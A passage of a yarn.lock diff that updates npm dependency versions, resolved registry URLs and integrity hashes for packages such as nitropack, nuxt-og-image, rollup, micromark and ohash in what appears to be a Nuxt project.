-  integrity sha512-FKjQKbxd1cibWMM1P9N+H8TwlgGgSkWZMmfuVucLCHaYqeSvJ0hFeHsIa65pA2nYbes0f8LDHPMrd9X7Ujxg9w==
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz#c691630e485021a68cf28dbc2b2ca27ebf678cd4"
+  integrity sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==
   dependencies:
     decode-named-character-reference "^1.0.0"
     devlop "^1.0.0"
@@ -8652,9 +8695,9 @@ micromark-util-sanitize-uri@^2.0.0, micromark-util-sanitize-uri@^2.0.1:
     micromark-util-symbol "^2.0.0"
 
 micromark-util-subtokenize@^2.0.0:
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/micromark-util-subtokenize/-/micromark-util-subtokenize-2.0.4.tgz#50d8ca981373c717f497dc64a0dbfccce6c03ed2"
-  integrity sha512-N6hXjrin2GTJDe3MVjf5FuXpm12PGm80BrUAeub9XFXca8JZbP+oIwY4LJSVwFUCL1IPm/WwSVUN7goFHmSGGQ==
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/micromark-util-subtokenize/-/micromark-util-subtokenize-2.1.0.tgz#d8ade5ba0f3197a1cf6a2999fbbfe6357a1a19ee"
+  integrity sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==
   dependencies:
     devlop "^1.0.0"
     micromark-util-chunked "^2.0.0"
@@ -8667,14 +8710,14 @@ micromark-util-symbol@^2.0.0:
   integrity sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==
 
 micromark-util-types@^2.0.0, micromark-util-types@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/micromark-util-types/-/micromark-util-types-2.0.1.tgz#a3edfda3022c6c6b55bfb049ef5b75d70af50709"
-  integrity sha512-534m2WhVTddrcKVepwmVEVnUAmtrx9bfIjNoQHRqfnvdaHQiFytEhJoTgpWJvDEXCO5gLTQh3wYC1PgOJA4NSQ==
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/micromark-util-types/-/micromark-util-types-2.0.2.tgz#f00225f5f5a0ebc3254f96c36b6605c4b393908e"
+  integrity sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==
 
 micromark@^4.0.0, micromark@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/micromark/-/micromark-4.0.1.tgz#294c2f12364759e5f9e925a767ae3dfde72223ff"
-  integrity sha512-eBPdkcoCNvYcxQOAKAlceo5SNdzZWfF+FcSupREAzdAh9rRmE239CEQAiTwIgblwnoM8zzj35sZ5ZwvSEOF6Kw==
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/micromark/-/micromark-4.0.2.tgz#91395a3e1884a198e62116e33c9c568e39936fdb"
+  integrity sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==
   dependencies:
     "@types/debug" "^4.0.0"
     debug "^4.0.0"
@@ -8712,7 +8755,7 @@ mime@^3.0.0:
   resolved "https://registry.yarnpkg.com/mime/-/mime-3.0.0.tgz#b374550dca3a0c18443b0c950a6a58f1931cf7a7"
   integrity sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==
 
-mime@^4.0.0, mime@^4.0.4:
+mime@^4.0.0, mime@^4.0.6:
   version "4.0.6"
   resolved "https://registry.yarnpkg.com/mime/-/mime-4.0.6.tgz#ca83bec0bcf2a02353d0e02da99be05603d04839"
   integrity sha512-4rGt7rvQHBbaSOF9POGkk1ocRP16Md1x36Xma8sz8h8/vfCUI2OtEIeCqe4Ofes853x4xDoPiFLIT47J5fI/7A==
@@ -8959,78 +9002,84 @@ nerf-dart@^1.0.0:
   integrity sha512-EZSPZB70jiVsivaBLYDCyntd5eH8NTSMOn3rB+HxwdmKThGELLdYv8qVIMWvZEFy9w8ZZpW9h9OB32l1rGtj7g==
 
 nitropack@^2.10.4:
-  version "2.10.4"
-  resolved "https://registry.yarnpkg.com/nitropack/-/nitropack-2.10.4.tgz#f7eb092bf7296257bf2426c45134fba61373e026"
-  integrity sha512-sJiG/MIQlZCVSw2cQrFG1H6mLeSqHlYfFerRjLKz69vUfdu0EL2l0WdOxlQbzJr3mMv/l4cOlCCLzVRzjzzF/g==
+  version "2.11.1"
+  resolved "https://registry.yarnpkg.com/nitropack/-/nitropack-2.11.1.tgz#7917c0341b9fee502028a545866ee2ffe6b0c58c"
+  integrity sha512-CyoM2KGCjwUMgDPL7YtDZdLK1cCYzhaYImPMPcrqWJoMZJ9UgpWiEmP1Yqjw1qNGe1+1u3kj+GNxx75mh9eovg==
   dependencies:
     "@cloudflare/kv-asset-handler" "^0.3.4"
-    "@netlify/functions" "^2.8.2"
+    "@netlify/functions" "3.0.0"
     "@rollup/plugin-alias" "^5.1.1"
-    "@rollup/plugin-commonjs" "^28.0.1"
+    "@rollup/plugin-commonjs" "^28.0.2"
     "@rollup/plugin-inject" "^5.0.5"
     "@rollup/plugin-json" "^6.1.0"
-    "@rollup/plugin-node-resolve" "^15.3.0"
-    "@rollup/plugin-replace" "^6.0.1"
+    "@rollup/plugin-node-resolve" "^16.0.0"
+    "@rollup/plugin-replace" "^6.0.2"
     "@rollup/plugin-terser" "^0.4.4"
-    "@rollup/pluginutils" "^5.1.3"
-    "@types/http-proxy" "^1.17.15"
-    "@vercel/nft" "^0.27.5"
+    "@types/http-proxy" "^1.17.16"
+    "@vercel/nft" "^0.29.2"
     archiver "^7.0.1"
-    c12 "2.0.1"
-    chokidar "^3.6.0"
+    c12 "^3.0.2"
+    chokidar "^4.0.3"
     citty "^0.1.6"
     compatx "^0.1.8"
-    confbox "^0.1.8"
-    consola "^3.2.3"
-    cookie-es "^1.2.2"
+    confbox "^0.2.1"
+    consola "^3.4.0"
+    cookie-es "^2.0.0"
     croner "^9.0.0"
-    crossws "^0.3.1"
-    db0 "^0.2.1"
+    crossws "^0.3.4"
+    db0 "^0.3.1"
     defu "^6.1.4"
     destr "^2.0.3"
     dot-prop "^9.0.0"
-    esbuild "^0.24.0"
+    esbuild "^0.25.0"
     escape-string-regexp "^5.0.0"
     etag "^1.8.1"
-    fs-extra "^11.2.0"
-    globby "^14.0.2"
+    exsolve "^1.0.1"
+    fs-extra "^11.3.0"
+    globby "^14.1.0"
     gzip-size "^7.0.0"
-    h3 "^1.13.0"
+    h3 "^1.15.1"
     hookable "^5.5.3"
-    httpxy "^0.1.5"
-    ioredis "^5.4.1"
-    jiti "^2.4.0"
+    httpxy "^0.1.7"
+    ioredis "^5.5.0"
+    jiti "^2.4.2"
     klona "^2.0.6"
-    knitwork "^1.1.0"
+    knitwork "^1.2.0"
     listhen "^1.9.0"
-    magic-string "^0.30.12"
+    magic-string "^0.30.17"
     magicast "^0.3.5"
-    mime "^4.0.4"
-    mlly "^1.7.2"
-    node-fetch-native "^1.6.4"
+    mime "^4.0.6"
+    mlly "^1.7.4"
+    node-fetch-native "^1.6.6"
+    node-mock-http "^1.0.0"
     ofetch "^1.4.1"
-    ohash "^1.1.4"
-    openapi-typescript "^7.4.2"
-    pathe "^1.1.2"
+    ohash "^2.0.11"
+    openapi-typescript "^7.6.1"
+    pathe "^2.0.3"
     perfect-debounce "^1.0.0"
-    pkg-types "^1.2.1"
+    pkg-types "^2.1.0"
     pretty-bytes "^6.1.1"
     radix3 "^1.1.2"
-    rollup "^4.24.3"
-    rollup-plugin-visualizer "^5.12.0"
+    rollup "^4.34.9"
+    rollup-plugin-visualizer "^5.14.0"
     scule "^1.3.0"
-    semver "^7.6.3"
+    semver "^7.7.1"
     serve-placeholder "^2.0.2"
     serve-static "^1.16.2"
-    std-env "^3.7.0"
+    source-map "^0.7.4"
+    std-env "^3.8.1"
     ufo "^1.5.4"
+    ultrahtml "^1.5.3"
     uncrypto "^0.1.3"
-    unctx "^2.3.1"
-    unenv "^1.10.0"
-    unimport "^3.13.1"
-    unstorage "^1.13.1"
-    untyped "^1.5.1"
+    unctx "^2.4.1"
+    unenv "2.0.0-rc.12"
+    unimport "^4.1.2"
+    unplugin-utils "^0.2.4"
+    unstorage "^1.15.0"
+    untyped "^2.0.0"
     unwasm "^0.3.9"
+    youch "4.1.0-beta.5"
+    youch-core "^0.3.1"
 
 node-abi@^3.3.0:
   version "3.74.0"
@@ -9372,34 +9421,35 @@ nuxt-link-checker@^4.1.1:
     ufo "^1.5.4"
 
 nuxt-og-image@^4.1.4:
-  version "4.1.4"
-  resolved "https://registry.yarnpkg.com/nuxt-og-image/-/nuxt-og-image-4.1.4.tgz#d2b26b760750dbe6ccb7b7979f32094b1aa8c5f8"
-  integrity sha512-2U5bMefPWQJnoqPb9G2mIXJu41ZplU+/duB9UdmQo5zYVsHo+I/Acunc04Ngqhq9p2DBeQQ4irneysfZx37UZA==
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/nuxt-og-image/-/nuxt-og-image-4.2.0.tgz#b73d5538d28475868a0048ff9404c6c23982cc24"
+  integrity sha512-cwvzefOsF5woIuNit72/8fP5ha4iGr6bTkSvtglH5RYB/WHbXrPSFOiMai015s8UJeW8LCguWo/+RyRFlG4Pig==
   dependencies:
-    "@nuxt/devtools-kit" "2.1.0"
+    "@nuxt/devtools-kit" "2.1.3"
     "@nuxt/kit" "^3.15.4"
     "@resvg/resvg-js" "^2.6.2"
     "@resvg/resvg-wasm" "^2.6.2"
+    "@unhead/ssr" "^1.11.20"
     "@unocss/core" "^66.0.0"
     "@unocss/preset-wind3" "^66.0.0"
     chrome-launcher "^1.1.2"
     consola "^3.4.0"
     defu "^6.1.4"
     execa "^9.5.2"
-    image-size "^1.2.0"
+    image-size "^2.0.0"
     magic-string "^0.30.17"
-    nuxt-site-config "^3.0.7"
-    nypm "^0.5.2"
+    nuxt-site-config "^3.1.3"
+    nypm "^0.6.0"
     ofetch "^1.4.1"
-    ohash "^1.1.4"
+    ohash "^2.0.11"
     pathe "^2.0.3"
-    pkg-types "^1.3.1"
+    pkg-types "^2.1.0"
     playwright-core "^1.50.1"
     radix3 "^1.1.2"
     satori "^0.12.1"
     satori-html "^0.3.2"
     sirv "^3.0.1"
-    std-env "^3.8.0"
+    std-env "^3.8.1"
     strip-literal "^3.0.0"
     ufo "^1.5.4"
     unplugin "^2.2.0"
@@ -9436,28 +9486,28 @@ nuxt-seo-utils@^6.0.11:
     scule "^1.3.0"
     ufo "^1.5.4"
 
-nuxt-site-config-kit@3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/nuxt-site-config-kit/-/nuxt-site-config-kit-3.1.1.tgz#f7c2bdccd3e6e29da32c8dbb8d1a60db9f046291"
-  integrity sha512-WA29fs1RnN1vXLEIplLndequS4uSX4Bm5WvhjutnZaL92mtWWblwbF3lbbXY9zNsUDzGlmmrltlbV4dJMVkqrQ==
+nuxt-site-config-kit@3.1.3:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/nuxt-site-config-kit/-/nuxt-site-config-kit-3.1.3.tgz#141ddd595ff0dd15982479ddaab9f0b26bd61052"
+  integrity sha512-ULl0kVK/97EQnP0P8ztns1SJ2WCF7myhy2q0EEn5MaaHIwpQV8rEw8PPeOCswIKeWJmkcWGDC26X6359rjhE+A==
   dependencies:
     "@nuxt/kit" "^3.15.4"
-    pkg-types "^1.3.1"
-    site-config-stack "3.1.1"
-    std-env "^3.8.0"
+    pkg-types "^2.1.0"
+    site-config-stack "3.1.3"
+    std-env "^3.8.1"
     ufo "^1.5.4"
 
-nuxt-site-config@^3.0.7, nuxt-site-config@^3.1.0:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/nuxt-site-config/-/nuxt-site-config-3.1.1.tgz#77bbdb3385c9148cc2e9f593230f85c24793f9b3"
-  integrity sha512-dyR0bceTGJPNTrfWVoEoltiveEU2sKUhQXoawkavtmIgUA0nbMXxuMEAXZaCx8xYvfsmSlStfipGlwelpl9faA==
+nuxt-site-config@^3.0.7, nuxt-site-config@^3.1.0, nuxt-site-config@^3.1.3:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/nuxt-site-config/-/nuxt-site-config-3.1.3.tgz#3bc050c935832216ba770efd3cae53deaa001428"
+  integrity sha512-lv4bGPubrB5AvX/2tN5YbAKSi3ywogNvYOYOEJ4RlEHorOaf2wlVkBjSgjqfUU1cRZzMjtP3yvIhTF5xIsFO3A==
   dependencies:
     "@nuxt/kit" "^3.15.4"
-    nuxt-site-config-kit "3.1.1"
+    nuxt-site-config-kit "3.1.3"
     pathe "^2.0.3"
-    pkg-types "^1.3.1"
+    pkg-types "^2.1.0"
     sirv "^3.0.1"
-    site-config-stack "3.1.1"
+    site-config-stack "3.1.3"
     ufo "^1.5.4"
 
 nuxt@3.15.4:
@@ -9554,6 +9604,17 @@ nypm@^0.5.2, nypm@^0.5.4:
     tinyexec "^0.3.2"
     ufo "^1.5.4"
 
+nypm@^0.6.0:
+  version "0.6.0"
+  resolved "https://registry.yarnpkg.com/nypm/-/nypm-0.6.0.tgz#3a04623d1c358a93fc4b3cb9cfb6a11af080feca"
+  integrity sha512-mn8wBFV9G9+UFHIrq+pZ2r2zL4aPau/by3kJb3cM7+5tQHMt6HGQB8FDIeKFYp8o0D2pnH6nVsO88N4AmUxIWg==
+  dependencies:
+    citty "^0.1.6"
+    consola "^3.4.0"
+    pathe "^2.0.3"
+    pkg-types "^2.0.0"
+    tinyexec "^0.3.2"
+
 object-assign@^4.0.1:
   version "4.1.1"
   resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
@@ -9569,14 +9630,14 @@ ofetch@^1.3.3, ofetch@^1.4.0, ofetch@^1.4.1:
     ufo "^1.5.4"
 
 ohash@^1.1.3, ohash@^1.1.4:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/ohash/-/ohash-1.1.4.tgz#ae8d83014ab81157d2c285abf7792e2995fadd72"
-  integrity sha512-FlDryZAahJmEF3VR3w1KogSEdWX3WhA5GPakFx4J81kEAiHyLMpdLLElS8n8dfNadMgAne/MywcvmogzscVt4g==
+  version "1.1.6"
+  resolved "https://registry.yarnpkg.com/ohash/-/ohash-1.1.6.tgz#9ff7b0271d7076290794537d68ec2b40a60d133e"
+  integrity sha512-TBu7PtV8YkAZn0tSxobKY2n2aAQva936lhRrj6957aDaCf9IEtqsKbgMzXE/F/sjqYOwmrukeORHNLe5glk7Cg==
 
-ohash@^2.0.2:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/ohash/-/ohash-2.0.5.tgz#656fb31771124bcb903d7b675dd35cd711ea1bac"
-  integrity sha512-3k3APZwRRPYyohdIDmPTpe5i0AY5lm7gvu/Oip7tZrTaEGfSlKX+7kXUoWLd9sHX0GDRVwVvlW18yEcD7qS1zw==
+ohash@^2.0.10, ohash@^2.0.11, ohash@^2.0.9:
+  version "2.0.11"
+  resolved "https://registry.yarnpkg.com/ohash/-/ohash-2.0.11.tgz#60b11e8cff62ca9dee88d13747a5baa145f5900b"
+  integrity sha512-RdR9FQrFwNBNXAr4GixM8YaRZRJ5PUWbKYbE5eOsrwAjJW0q2REGcf79oYPsLyskQCZG1PLN+S/K1V00joZAoQ==
 
 on-finished@2.4.1:
   version "2.4.1"
@@ -9599,16 +9660,7 @@ onetime@^6.0.0:
   dependencies:
     mimic-fn "^4.0.0"
 
-oniguruma-to-es@^2.2.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/oniguruma-to-es/-/oniguruma-to-es-2.3.0.tgz#35ea9104649b7c05f3963c6b3b474d964625028b"
-  integrity sha512-bwALDxriqfKGfUufKGGepCzu9x7nJQuoRoAFp4AnwehhC2crqrDIAP/uN2qdlsAvSMpeRC3+Yzhqc7hLmle5+g==
-  dependencies:
-    emoji-regex-xs "^1.0.0"
-    regex "^5.1.1"
-    regex-recursion "^5.1.1"
-
-oniguruma-to-es@^3.1.0:
+oniguruma-to-es@^3.1.1:
   version "3.1.1"
   resolved "https://registry.yarnpkg.com/oniguruma-to-es/-/oniguruma-to-es-3.1.1.tgz#480e4bac4d3bc9439ac0d2124f0725e7a0d76d17"
   integrity sha512-bUH8SDvPkH3ho3dvwJwfonjlQ4R80vjyvrU8YpxuROddv55vAEJrTuCuCVUhhsHbtlD9tGGbaNApGQckXhS8iQ==
@@ -9643,7 +9695,7 @@ open@^8.4.0:
     is-docker "^2.1.1"
     is-wsl "^2.2.0"
 
-openapi-typescript@^7.4.2:
+openapi-typescript@^7.6.1:
   version "7.6.1"
   resolved "https://registry.yarnpkg.com/openapi-typescript/-/openapi-typescript-7.6.1.tgz#e39d1e21ebf43f91712703f7063118246d099d19"
   integrity sha512-F7RXEeo/heF3O9lOXo2bNjCOtfp7u+D6W3a3VNEH2xE6v+fxLtn5nq0uvUcA1F5aT+CMhNeC5Uqtg5tlXFX/ag==
@@ -9773,9 +9825,11 @@ package-json-from-dist@^1.0.0:
   integrity sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==
 
 package-manager-detector@^0.2.8, package-manager-detector@^0.2.9:
-  version "0.2.9"
-  resolved "https://registry.yarnpkg.com/package-manager-detector/-/package-manager-detector-0.2.9.tgz#20990785afa69d38b4520ccc83b34e9f69cb970f"
-  integrity sha512-+vYvA/Y31l8Zk8dwxHhL3JfTuHPm6tlxM2A3GeQyl7ovYnSp1+mzAxClxaOr0qO1TtPxbQxetI7v5XqKLJZk7Q==
+  version "0.2.11"
+  resolved "https://registry.yarnpkg.com/package-manager-detector/-/package-manager-detector-0.2.11.tgz#3af0b34f99d86d24af0a0620603d2e1180d05c9c"
+  integrity sha512-BEnLolu+yuz22S56CU1SUKq3XC3PkwD5wv4ikR4MfGvnRVcmzXR9DwSlW2fEamyTPyXHomBJRzgapeuBvRNzJQ==
+  dependencies:
+    quansync "^0.2.7"
 
 packrup@^0.1.2:
   version "0.1.2"
@@ -10102,6 +10156,15 @@ pkg-types@^1.0.3, pkg-types@^1.2.0, pkg-types@^1.2.1, pkg-types@^1.3.0, pkg-type
     mlly "^1.7.4"
     pathe "^2.0.1"
 
+pkg-types@^2.0.0, pkg-types@^2.0.1, pkg-types@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/pkg-types/-/pkg-types-2.1.0.tgz#70c9e1b9c74b63fdde749876ee0aa007ea9edead"
+  integrity sha512-wmJwA+8ihJixSoHKxZJRBQG1oY8Yr9pGLzRmSsNms0iNWyHHAlZCa7mmKiFR10YPZuz/2k169JiS/inOjBCZ2A==
+  dependencies:
+    confbox "^0.2.1"
+    exsolve "^1.0.1"
+    pathe "^2.0.3"
+
 playwright-core@^1.50.1:
   version "1.50.1"
   resolved "https://registry.yarnpkg.com/playwright-core/-/playwright-core-1.50.1.tgz#6a0484f1f1c939168f40f0ab3828c4a1592c4504"
@@ -10464,9 +10527,9 @@ prettier-linter-helpers@^1.0.0:
     fast-diff "^1.1.2"
 
 prettier@^3.3.3:
-  version "3.5.2"
-  resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.5.2.tgz#d066c6053200da0234bf8fa1ef45168abed8b914"
-  integrity sha512-lc6npv5PH7hVqozBR7lkBNOGXV9vMwROAPlumdBkX0wTbbzPu/U1hk5yL8p2pt4Xoc+2mkT8t/sow2YrV/M5qg==
+  version "3.5.3"
+  resolved "https://registry.yarnpkg.com/prettier/-/prettier-3.5.3.tgz#4fc2ce0d657e7a02e602549f053b239cb7dfe1b5"
+  integrity sha512-QQtaxnoDJeAkDvDKWCLiwIXkTgRhwYDEQCghU9Z6q03iyek/rxRh/2lC3HB7P8sWT2xC/y5JDctPLBIGzHKbhw==
 
 pretty-bytes@^6.1.1:
   version "6.1.1"
@@ -10576,6 +10639,11 @@ qrcode-terminal@^0.12.0:
   resolved "https://registry.yarnpkg.com/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz#bb5b699ef7f9f0505092a3748be4464fe71b5819"
   integrity sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==
 
+quansync@^0.2.7, quansync@^0.2.8:
+  version "0.2.8"
+  resolved "https://registry.yarnpkg.com/quansync/-/quansync-0.2.8.tgz#2e893d17bb754ba0988ea399ff0bc5f2a8467793"
+  integrity sha512-4+saucphJMazjt7iOM27mbFCk+D9dd/zmgMDCzRZ8MEoBfYp7lAvoN38et/phRQF6wOPMy/OROBGgoWeSKyluA==
+
 queue-microtask@^1.2.2:
   version "1.2.3"
   resolved "https://registry.yarnpkg.com/queue-microtask/-/queue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
@@ -10755,14 +10823,6 @@ refa@^0.12.0, refa@^0.12.1:
   dependencies:
     "@eslint-community/regexpp" "^4.8.0"
 
-regex-recursion@^5.1.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/regex-recursion/-/regex-recursion-5.1.1.tgz#5a73772d18adbf00f57ad097bf54171b39d78f8b"
-  integrity sha512-ae7SBCbzVNrIjgSbh7wMznPcQel1DNlDtzensnFxpiNpXt1U2ju/bHugH422r+4LAVS1FpW1YCwilmnNsjum9w==
-  dependencies:
-    regex "^5.1.1"
-    regex-utilities "^2.3.0"
-
 regex-recursion@^6.0.2:
   version "6.0.2"
   resolved "https://registry.yarnpkg.com/regex-recursion/-/regex-recursion-6.0.2.tgz#a0b1977a74c87f073377b938dbedfab2ea582b33"
@@ -10780,13 +10840,6 @@ regex@^4.3.2:
   resolved "https://registry.yarnpkg.com/regex/-/regex-4.4.0.tgz#cb731e2819f230fad69089e1bd854fef7569e90a"
   integrity sha512-uCUSuobNVeqUupowbdZub6ggI5/JZkYyJdDogddJr60L764oxC2pMZov1fQ3wM9bdyzUILDG+Sqx6NAKAz9rKQ==
 
-regex@^5.1.1:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/regex/-/regex-5.1.1.tgz#cf798903f24d6fe6e531050a36686e082b29bd03"
-  integrity sha512-dN5I359AVGPnwzJm2jN1k0W9LPZ+ePvoOeVMMfqIMFz53sSwXkxaJoxr50ptnsC771lK95BnTrVSZxq0b9yCGw==
-  dependencies:
-    regex-utilities "^2.3.0"
-
 regex@^6.0.1:
   version "6.0.1"
   resolved "https://registry.yarnpkg.com/regex/-/regex-6.0.1.tgz#282fa4435d0c700b09c0eb0982b602e05ab6a34f"
@@ -10900,7 +10953,7 @@ remark-emoji@^5.0.1:
     node-emoji "^2.1.3"
     unified "^11.0.4"
 
-remark-gfm@^4.0.0:
+remark-gfm@^4.0.1:
   version "4.0.1"
   resolved "https://registry.yarnpkg.com/remark-gfm/-/remark-gfm-4.0.1.tgz#33227b2a74397670d357bf05c098eaf8513f0d6b"
   integrity sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg==
@@ -10912,7 +10965,7 @@ remark-gfm@^4.0.0:
     remark-stringify "^11.0.0"
     unified "^11.0.0"
 
-remark-mdc@^3.5.2, remark-mdc@latest:
+remark-mdc@^3.5.3, remark-mdc@latest:
   version "3.5.3"
   resolved "https://registry.yarnpkg.com/remark-mdc/-/remark-mdc-3.5.3.tgz#04355f84eb94801643b822249975d7b6b2f23043"
   integrity sha512-XmIAhEYBCtDvGjvLfyCtF8Bj1Uey9v3JD2f9WutM32Xfy9Uif3vPqJtg9n2whwIsXBtD+nvK+bEBt0zrq1DqtA==
@@ -11032,7 +11085,7 @@ robust-predicates@^3.0.2:
   resolved "https://registry.yarnpkg.com/robust-predicates/-/robust-predicates-3.0.2.tgz#d5b28528c4824d20fc48df1928d41d9efa1ad771"
   integrity sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg==
 
-rollup-plugin-visualizer@^5.12.0, rollup-plugin-visualizer@^5.13.1:
+rollup-plugin-visualizer@^5.13.1, rollup-plugin-visualizer@^5.14.0:
   version "5.14.0"
   resolved "https://registry.yarnpkg.com/rollup-plugin-visualizer/-/rollup-plugin-visualizer-5.14.0.tgz#be82d43fb3c644e396e2d50ac8a53d354022d57c"
   integrity sha512-VlDXneTDaKsHIw8yzJAFWtrzguoJ/LnQ+lMpoVfYJ3jJF4Ihe5oYLAqLklIK/35lgUY+1yEzCkHyZ1j4A5w5fA==
@@ -11042,32 +11095,32 @@ rollup-plugin-visualizer@^5.12.0, rollup-plugin-visualizer@^5.13.1:
     source-map "^0.7.4"
     yargs "^17.5.1"
 
-rollup@^4.24.3, rollup@^4.30.1:
-  version "4.34.8"
-  resolved "https://registry.yarnpkg.com/rollup/-/rollup-4.34.8.tgz#e859c1a51d899aba9bcf451d4eed1d11fb8e2a6e"
-  integrity sha512-489gTVMzAYdiZHFVA/ig/iYFllCcWFHMvUHI1rpFmkoUtRlQxqh6/yiNqnYibjMZ2b/+FUQwldG+aLsEt6bglQ==
+rollup@^4.30.1, rollup@^4.34.9:
+  version "4.34.9"
+  resolved "https://registry.yarnpkg.com/rollup/-/rollup-4.34.9.tgz#e1eb397856476778aeb6ac2ac3d09b2ce177a558"
+  integrity sha512-nF5XYqWWp9hx/LrpC8sZvvvmq0TeTjQgaZHYmAgwysT9nh8sWnZhBnM8ZyVbbJFIQBLwHDNoMqsBZBbUo4U8sQ==
   dependencies:
     "@types/estree" "1.0.6"
   optionalDependencies:
-    "@rollup/rollup-android-arm-eabi" "4.34.8"
-    "@rollup/rollup-android-arm64" "4.34.8"
-    "@rollup/rollup-darwin-arm64" "4.34.8"
-    "@rollup/rollup-darwin-x64" "4.34.8"
-    "@rollup/rollup-freebsd-arm64" "4.34.8"
-    "@rollup/rollup-freebsd-x64" "4.34.8"
-    "@rollup/rollup-linux-arm-gnueabihf" "4.34.8"
-    "@rollup/rollup-linux-arm-musleabihf" "4.34.8"
-    "@rollup/rollup-linux-arm64-gnu" "4.34.8"
-    "@rollup/rollup-linux-arm64-musl" "4.34.8"
-    "@rollup/rollup-linux-loongarch64-gnu" "4.34.8"
-    "@rollup/rollup-linux-powerpc64le-gnu" "4.34.8"
-    "@rollup/rollup-linux-riscv64-gnu" "4.34.8"
-    "@rollup/rollup-linux-s390x-gnu" "4.34.8"
-    "@rollup/rollup-linux-x64-gnu" "4.34.8"
-    "@rollup/rollup-linux-x64-musl" "4.34.8"
-    "@rollup/rollup-win32-arm64-msvc" "4.34.8"
-    "@rollup/rollup-win32-ia32-msvc" "4.34.8"
-    "@rollup/rollup-win32-x64-msvc" "4.34.8"
+    "@rollup/rollup-android-arm-eabi" "4.34.9"
+    "@rollup/rollup-android-arm64" "4.34.9"
+    "@rollup/rollup-darwin-arm64" "4.34.9"
+    "@rollup/rollup-darwin-x64" "4.34.9"
+    "@rollup/rollup-freebsd-arm64" "4.34.9"
+    "@rollup/rollup-freebsd-x64" "4.34.9"
+    "@rollup/rollup-linux-arm-gnueabihf" "4.34.9"
+    "@rollup/rollup-linux-arm-musleabihf" "4.34.9"
+    "@rollup/rollup-linux-arm64-gnu" "4.34.9"
+    "@rollup/rollup-linux-arm64-musl" "4.34.9"
+    "@rollup/rollup-linux-loongarch64-gnu" "4.34.9"
+    "@rollup/rollup-linux-powerpc64le-gnu" "4.34.9"
+    "@rollup/rollup-linux-riscv64-gnu" "4.34.9"
+    "@rollup/rollup-linux-s390x-gnu" "4.34.9"
+    "@rollup/rollup-linux-x64-gnu" "4.34.9"
+    "@rollup/rollup-linux-x64-musl" "4.34.9"
+    "@rollup/rollup-win32-arm64-msvc" "4.34.9"
+    "@rollup/rollup-win32-ia32-msvc" "4.34.9"
+    "@rollup/rollup-win32-x64-msvc" "4.34.9"
     fsevents "~2.3.2"
 
 roughjs@^4.6.6:
@@ -11335,31 +11388,17 @@ shiki@1.22.0:
     "@shikijs/vscode-textmate" "^9.3.0"
     "@types/hast" "^3.0.4"
 
-shiki@^1.27.2:
-  version "1.29.2"
-  resolved "https://registry.yarnpkg.com/shiki/-/shiki-1.29.2.tgz#5c93771f2d5305ce9c05975c33689116a27dc657"
-  integrity sha512-njXuliz/cP+67jU2hukkxCNuH1yUi4QfdZZY+sMr5PPrIyXSu5iTb/qYC4BiWWB0vZ+7TbdvYUCeL23zpwCfbg==
-  dependencies:
-    "@shikijs/core" "1.29.2"
-    "@shikijs/engine-javascript" "1.29.2"
-    "@shikijs/engine-oniguruma" "1.29.2"
-    "@shikijs/langs" "1.29.2"
-    "@shikijs/themes" "1.29.2"
-    "@shikijs/types" "1.29.2"
-    "@shikijs/vscode-textmate" "^10.0.1"
-    "@types/hast" "^3.0.4"
-
-shiki@^2.5.0:
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/shiki/-/shiki-2.5.0.tgz#09d01ebf3b0b06580431ce3ddc023320442cf223"
